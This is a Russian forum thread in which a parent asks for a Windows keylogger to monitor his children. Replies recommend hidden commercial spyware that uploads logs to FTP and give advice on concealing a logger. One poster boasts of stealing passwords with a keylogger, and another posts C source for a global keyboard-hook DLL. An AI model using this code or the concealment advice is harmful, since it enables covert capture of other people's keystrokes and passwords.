LINUX.ORG.RU
ФорумTalks

Помогите в поиске шпиона (оффтоп)


0

0

Хотелось бы под винду поставить клавиатурного шпиона-кейлоггера. Поделитесь ссылкой, кто знает. Все, что попадалось- нормальное, но там или русские буквы не поддерживаются, или платное. Под винду...

Ответ на: комментарий от isden

Смотря где и как. У себя дома — ни разу не противозаконно, но еретично (Венда? К ЛОРопеду!), у соседа — и еретично и противозаконно.

anonymous
()

Жестокий оффтоп. Проще нужный кейлоггер написать самому, благо в винде это не просто, а очень просто. SetWindowsHookEx(WH_KEYBOARD...) и вперед.
Более сложный, но более универсальный метод - написать драйвер, на sysinternals.com готовый пример валяется =)

Deleted
()
Ответ на: комментарий от Deleted

Да мне трудновато это будет: Ради контроля своих чад писать проги.

Да, они у меня в оффтопике играют... Инетом опять же пользуются из него же. Все никак их не переведу под линь.

meloman
() автор топика
Ответ на: комментарий от meloman

> Да мне трудновато это будет: Ради контроля своих чад писать проги.

дядь, я те по секрету скажу - есть клёвый девайс для контроля своих чад. называется он ремень. чес слово, работает так, что никакому кейлогеру и пр. хрени даже не снилось. tested.

// wbr

klalafuda ★☆☆
()
Ответ на: комментарий от meloman

Если чада не шибко с шаловливыми ручками, то Punto Switcher умеет все нажатия логировать. Только скрыть его как-то потребуется.

Sphinx ★★☆☆
()
Ответ на: комментарий от meloman

Поставь проксю и лови там траффик. А в играх кейлоггер немного словит.

Pythagoras ★★
()
Ответ на: комментарий от Deleted

>благо в винде это не просто, а очень просто

Чтобы установить глобальный хук клавиатуры, по понятным причинам, обработчик, устанавливаемый SetWindowsHookEx, нужно поместить в DLL. Это, конечно, просто, но не тривиально, я бы сказал.

Из-под Висты, кстати, это действие, даже если прога запущена из-под админского аккаунта, вызывает диалог повышения привилегий; у каждой программы прописан потому что уровень интеграции в систему, и по-умолчанию он самый низкий, естественно.

>более универсальный метод — написать драйвер

Не факт, если не ограничиваться 32-х битной XP.

anonymfus ★★★★
()

actual spy. Поддерживает всё, вплоть до периодического создания скриншотов экрана, логов клавиатуры и посещенных сайтов. Может все отсылать куда нить на ftp. Не видна в процессах, если не пользоваться каким нибудь нормальным procexp.

Igron ★★★★★
()

Могу сдать шпиона - себя. Злобного инопланетного шпиёна, крадущего секреты российской оборонки и продающего альфацентаврайцам и сирианцам за чатлы и кэцэ.

marsijanin ★★
()

Ох, блин, задал бы ты мне этот вопрос лет шесть-семь назад... Когда единственным моим выходом в инет был университетский комп... С лимитом в сколько-то-там мегабайт на прокси... Вот тогда у меня был кейлогер на дискете (отслеживавший ещё и мышь, как сайд-эффект - я уржался, наблюдая лог игры в сапёра), и маленькая записная книжка с парой сотен чужих паролей... А ты лучше поставь что-нибудь для записи видео с экрана, проще будет.

Miguel ★★★★★
()
Ответ на: комментарий от meloman

> actual spy тоже ищем ;-)

Не найдешь - напиши в igronus [at] gmail [dot] com

Igron ★★★★★
()
Ответ на: комментарий от meloman

> Идея с прокси понравилась,

С прокси ты сможешь не только проверить, но и попросту забанить ненужные ресурсы.

sin_a ★★★★★
()
Ответ на: комментарий от Miguel

> А ты лучше поставь что-нибудь для записи видео с экрана, проще будет.

вначале сбегай в магазин за терабайтным винтом :)

defmacro
()
Ответ на: комментарий от defmacro

Нахуа? Час видео в приемлемом качестве нормально ужмётся в пару сотен метров. Вряд ли мужику нужно записывать 7x24.

Miguel ★★★★★
()
Ответ на: комментарий от anonymfus

>SetWindowsHookEx

ага, вспоминая детство и kaht:

#define WM_KEYNOTIFY (WM_APP + 1)

HINSTANCE hInstance;
static HHOOK hhk = NULL;

LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
        HWND hwndLogger;

        hwndLogger = FindWindowEx(NULL,NULL,"FUCKOFF",NULL);
        if(hwndLogger != NULL)
                if (((DWORD)lParam&0x40000000)&&(code==HC_ACTION))
                       SendNotifyMessage(hwndLogger,WM_KEYNOTIFY,wParam,lParam);

        return CallNextHookEx(hhk, code, wParam, lParam );
}

BOOL WINAPI Uninstall()
{
        BOOL unhooked;
        unhooked = UnhookWindowsHookEx(hhk);
        return unhooked;
}


BOOL WINAPI Install()
{
        hhk=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hInstance,0);
        return TRUE;
}

BOOL APIENTRY DllEntryPoint(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
        switch(fdwReason)
        {
        case DLL_PROCESS_ATTACH:
                hInstance = hinstDLL;
                DisableThreadLibraryCalls(hinstDLL);
                break;
        case DLL_THREAD_ATTACH:
                break;
        case DLL_THREAD_DETACH:
                break;
        case DLL_PROCESS_DETACH:
                Uninstall();
                break;
        }
        return TRUE;
}

zort
()
Ответ на: комментарий от defmacro

Не знаю, как с дисплея, но из одного формата в другой видео вполне пережимается в реальном времени.

Miguel ★★★★★
()
Ответ на: комментарий от Miguel

>Не знаю, как с дисплея, но из одного формата в другой видео вполне пережимается в реальном времени.

Только при этом в игры сложнее сапера не поиграешь.

true
()
Ответ на: комментарий от true

> Только при этом в игры сложнее сапера не поиграешь.

А неча детям в игры граться, а то вырастают потом из них растения...

defmacro
()
Ответ на: комментарий от true

Вот у меня сейчас пережимается почти в реальном времени фильм. При этом в огнелисе открыто две строки вкладок. При этом фильм ещё и уменьшается в размерах, причём в нецелое число раз. Тормозов не вижу. Процессор - Intel Core 2 Duo 2 GHz.

Miguel ★★★★★
()
Ответ на: комментарий от defmacro

Ну дык никто не мешает уменьшить fps в два-три раза. Для шпиона - более чем достаточно.

Miguel ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.